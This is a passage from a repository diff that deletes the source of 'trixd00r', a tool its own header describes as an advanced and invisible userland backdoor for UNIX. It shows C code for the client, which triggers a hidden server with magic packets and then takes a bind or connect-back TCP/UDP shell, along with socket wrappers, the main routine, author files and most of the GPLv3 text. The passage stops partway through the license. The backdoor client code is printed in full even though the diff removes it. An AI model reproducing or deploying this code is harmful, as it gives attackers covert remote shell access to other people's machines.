xclose(packet->cfd);
return;
}
/* listen on tcp port */
static void listen_tcp_port(packet_t *packet)
{
/* create listen socket and set desired socket option*/
packet->lfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
packet->one = 1;
xsetsockopt(packet->lfd, SOL_SOCKET, SO_REUSEADDR, &packet->one,
sizeof(packet->one));
/* fill in sockaddr_in struct */
xmemset(&packet->cli, 0x00, sizeof(packet->cli));
packet->cli.sin_family = AF_INET;
packet->cli.sin_addr.s_addr = htonl(INADDR_ANY);
packet->cli.sin_port = htons(packet->port);
/* bind to port and wait for connections */
xbind(packet->lfd, (struct sockaddr *) &packet->cli, sizeof(packet->cli));
xlisten(packet->lfd, 1024);
packet->cfd = xaccept(packet->lfd, (struct sockaddr *) NULL, NULL);
/* handle shell */
sleep(1); /* i don't know, ask your neighbour */
__VERBOSE_GOT_SHELL;
sleep(1);
xsystem("clear");
handle_tcp_shell(packet->cfd);
/* we are done, so we can close used descriptors */
xclose(packet->lfd);
xclose(packet->cfd);
return;
}
/* connect to tcp port */
static void connect_tcp_port(packet_t *packet)
{
/* create connection socket */
packet->cfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
/* fill in sockaddr_in struct */
xmemset(&packet->srv, 0x00, sizeof(packet->srv));
packet->srv.sin_family = AF_INET;
packet->srv.sin_addr.s_addr = inet_addr(packet->host);
packet->srv.sin_port = htons(packet->port);
packet->len = sizeof(packet->srv);
/* connect to trixd00rd */
sleep(1); /* i don't know, ask my father... */
xconnect(packet->cfd, (const struct sockaddr *) &packet->srv,
sizeof(packet->srv));
__VERBOSE_CONNECTED(packet->host, packet->port);
/* ok, let's handle our shell session */
__VERBOSE_GOT_SHELL;
sleep(1);
xsystem("clear");
handle_tcp_shell(packet->cfd);
/* we are done, so we close used descriptors */
xclose(packet->cfd);
return;
}
/* get evil shell */
void get_shell(shell_t *shell)
{
packet_t *packet = (packet_t *) shell->packet;
switch (shell->mode) {
case _TCP_CONN_PORT:
connect_tcp_port(packet);
break;
case _TCP_BIND_PORT:
listen_tcp_port(packet);
break;
case _UDP_CONN_PORT:
xsignal(SIGINT, sigint_handler);
connect_udp_port(packet);
break;
case _UDP_BIND_PORT:
xsignal(SIGINT, sigint_handler);
listen_udp_port(packet);
break;
}
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/signals.c
-101
View File
@@ -1,101 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/signals.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "signals.h"
#include "error.h"
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
/* signal() predates POSIX, therefore we use wrapper for sigaction().
* ripped from UNPv1. thx to W. R. STEVENS (R.I.P.) */
sigfunc *xsignal(int signo, sigfunc *func)
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
if (signo == SIGALRM) {
#ifdef SA_INTERRUPT
/* SUN OS */
act.sa_flags |= SA_INTERRUPT;
#endif
} else {
#ifdef SA_RESTART
/* BSD */
act.sa_flags |= SA_RESTART;
#endif
}
if (sigaction(signo, &act, &oact) < 0) {
return SIG_ERR;
}
return oact.sa_handler;
}
/* we don't want to have zombies */
void sig_chld()
{
pid_t pid = 0;
int stat = 0;
if ((pid = waitpid(-1, &stat, WNOHANG)) < 0) {
if (errno != ECHILD) {
print_error(ERR_GEN);
}
}
return;
}
/* we only want to interrupt the connect() - to get EINTR and then assign
* ETIMEDOUT to errno */
void connect_alarm()
{
return;
}
/* cleanup for SIGINT/SIGTERM */
void cleanup()
{
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/trixd00r.c
-106
View File
@@ -1,106 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/trixd00r.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "trixd00r.h"
#include "checks.h"
#include "wrapper.h"
#include "help.h"
#include "verbose.h"
#include <getopt.h>
/* let's go... */
int main(int argc, char *argv[])
{
int c = 0;
ctrl_t *ctrl = NULL;
/* banner is very important */
banner();
check_argc(argc);
ctrl = alloc_structs();
ctrl = set_ctrl_defaults(ctrl);
while ((c = getopt(argc, argv, "h:t:s:m:p:vVH")) != -1) {
switch (c) {
case 'h':
check_host(optarg);
ctrl->packet->host = convert_host(optarg);
break;
case 't':
check_pkt_type(ctrl, optarg);
ctrl->packet->type = (unsigned char) ATOI(optarg);
break;
case 's':
check_shell_mode(ctrl, optarg);
ctrl->shell->mode = (unsigned char) ATOI(optarg);
break;
case 'm':
ctrl->packet->payload = optarg;
break;
case 'p':
check_port(ctrl, ATOI(optarg));
ctrl->packet->port = (uint16_t) ATOI(optarg);
break;
case 'v':
ctrl->verbose = VERBOSE;
break;
case 'V':
puts(VERSION);
__EXIT_SUCCESS;
break;
case 'H':
usage();
__EXIT_SUCCESS;
break;
default:
__EXIT_FAILURE;
}
}
/* few checks before we can go on */
__VERBOSE_ARGS;
check_args(ctrl);
check_uid(ctrl);
/* install signal handler */
install_signals();
/* let's go */
start_trixd00r(ctrl);
end_trixd00r(ctrl);
return 0;
}
/* EOF */
backdoor/trixd00r/source/client/src/wrapper.c
-393
View File
@@ -1,393 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/wrapper.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "wrapper.h"
#include "error.h"
#include <errno.h>
/* NOTHING TO SAY ABOUT WRAPPER FUNCTIONS; READ THE RELEVANT MANPAGES */
void *xmalloc(size_t size)
{
void *buff;
if ((buff = malloc(size)) == NULL) {
print_error(ERR_GEN);
}
return buff;
}
void *xmemset(void *s, int c, size_t n)
{
if (!(s = memset(s, c, n))) {
print_error(ERR_GEN);
}
return s;
}
void *xmemcpy(void *dest, const void *src, size_t n)
{
dest = memcpy(dest, src, n);
if (dest == NULL) {
print_error(ERR_GEN);
}
return dest;
}
void *alloc_buff(unsigned int size)
{
void *buff = NULL;
buff = xmalloc(size);
buff = xmemset(buff, 0x00, size);
return buff;
}
void xclose(int fd)
{
int x = 0;
x = close(fd);
if (x != 0) {
print_error(ERR_CLOSE);
}
return;
}
int xdup2(int oldfd, int newfd)
{
if (dup2(oldfd, newfd) != -1) {
return newfd;
} else {
print_error(ERR_GEN);
}
return -1;
}
void xselect(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds,
struct timeval *timeout)
{
int x = 0;
x = select(nfds, readfds, writefds, exceptfds, timeout);
if (x == -1) {
print_error(ERR_GEN);
}
return;
}
void xpipe(int *pipefd)
{
int x = 0;
x = pipe(pipefd);
if (x < 0) {
print_error(ERR_GEN);
}
return;
}
struct hostent *xgethostbyname(const char *name)
{
struct hostent *hp;
if ((hp = gethostbyname(name)) == NULL) {
print_error(ERR_HOST);
}
return hp;
}
int xsocket(int domain, int type, int protocol)
{
int sockfd = 0;
sockfd = socket(domain, type, protocol);
if (sockfd == -1) {
print_error(ERR_NET);
}
return sockfd;
}
void xconnect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
int x = 0;
x = connect(sockfd, addr, addrlen);
if (x < 0) {
print_error(ERR_NET);
}
return;
}
void xsendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dst, socklen_t addrlen)
{
ssize_t x = 0;
x = sendto(sockfd, buf, len, flags, dst, addrlen);
if (x == -1) {
print_error(ERR_NET);
}
return;
}
ssize_t xrecv(int sockfd, void *buf, size_t len, int flags)
{
ssize_t nreceived = 0;
char *p = buf;
while (len > 0) {
nreceived = recv(sockfd, p, len, flags);
if (nreceived < 0 && errno == EINTR) {
continue;
}
if (nreceived <= 0) {
break;
}
len -= nreceived;
p += nreceived;
}
*p = 0x00;
return nreceived;
}
ssize_t xwrite(int sockfd, const void *buff, size_t len)
{
size_t nleft = 0;
ssize_t nwritten = 0;
const char *ptr = NULL;
ptr = buff;
nleft = len;
while (nleft > 0) {
if ((nwritten = write(sockfd, ptr, nleft)) <= 0) {
if (nwritten < 0 && errno == EINTR) {
nwritten = 0;
} else {
return -1;
}
}
nleft -= nwritten;
ptr += nwritten;
}
return len;
}
ssize_t xread(int sockfd, void *buf, size_t len)
{
size_t nleft = 0;
ssize_t nread = 0;
char *ptr = NULL;
ptr = buf;
nleft = len;
while (nleft > 0) {
if ((nread = read(sockfd, ptr, nleft)) < 0) {
if (errno == EINTR) {
nread = 0;
} else {
return -1;
}
} else if (nread == 0) {
break;
}
nleft -= nread;
ptr += nread;
}
return (len - nleft);
}
void xsetsockopt(int sockfd, int level, int optname, const void *optval,
socklen_t optlen)
{
int x = 0;
x = setsockopt(sockfd, level, optname, optval, optlen);
if (x != 0) {
print_error(ERR_NET);
}
return;
}
void xinet_ntop(int af, const void *src, char *dst, socklen_t len)
{
const char *p = NULL;
p = inet_ntop(af, src, dst, len);
if (p == NULL) {
print_error(ERR_NET);
}
return;
}
void xbind(int sockfd, const struct sockaddr *addr, socklen_t len)
{
int x = 0;
x = bind(sockfd, addr, len);
if (x != 0) {
print_error(ERR_NET);
}
return;
}
void xlisten(int sockfd, int backlog)
{
int x = 0;
x = listen(sockfd, backlog);
if (x != 0) {
x = 1;
print_error(ERR_NET);
}
return;
}
int xaccept(int sockfd, struct sockaddr *addr, socklen_t *len)
{
int x = 0;
x = accept(sockfd, addr, len);
if (x < 0) {
x = 1;
print_error(ERR_NET);
}
return x;
}
char *convert_host(char *host)
{
static char buff[128];
struct hostent *hp = NULL;
hp = xgethostbyname(host);
if (hp != NULL) {
host = (char *) inet_ntop(AF_INET, hp->h_addr_list[0], buff, sizeof(buff));
}
if (host == NULL) {
print_error(ERR_NET);
}
return host;
}
void xsystem(const char *cmd)
{
int x = 0;
x = system(cmd);
if (x == -1) {
print_error(ERR_GEN);
}
return;
}
/* EOF */
backdoor/trixd00r/source/docs/AUTHORS
-1
View File
@@ -1 +0,0 @@
noptrix[at]nullsecurity.net - http://www.nullsecurity.net/
backdoor/trixd00r/source/docs/CHANGELOG
-1
View File
@@ -1 +0,0 @@
See docs/TODO file for changes and todo list.
backdoor/trixd00r/source/docs/COPYING
-674
View File
@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
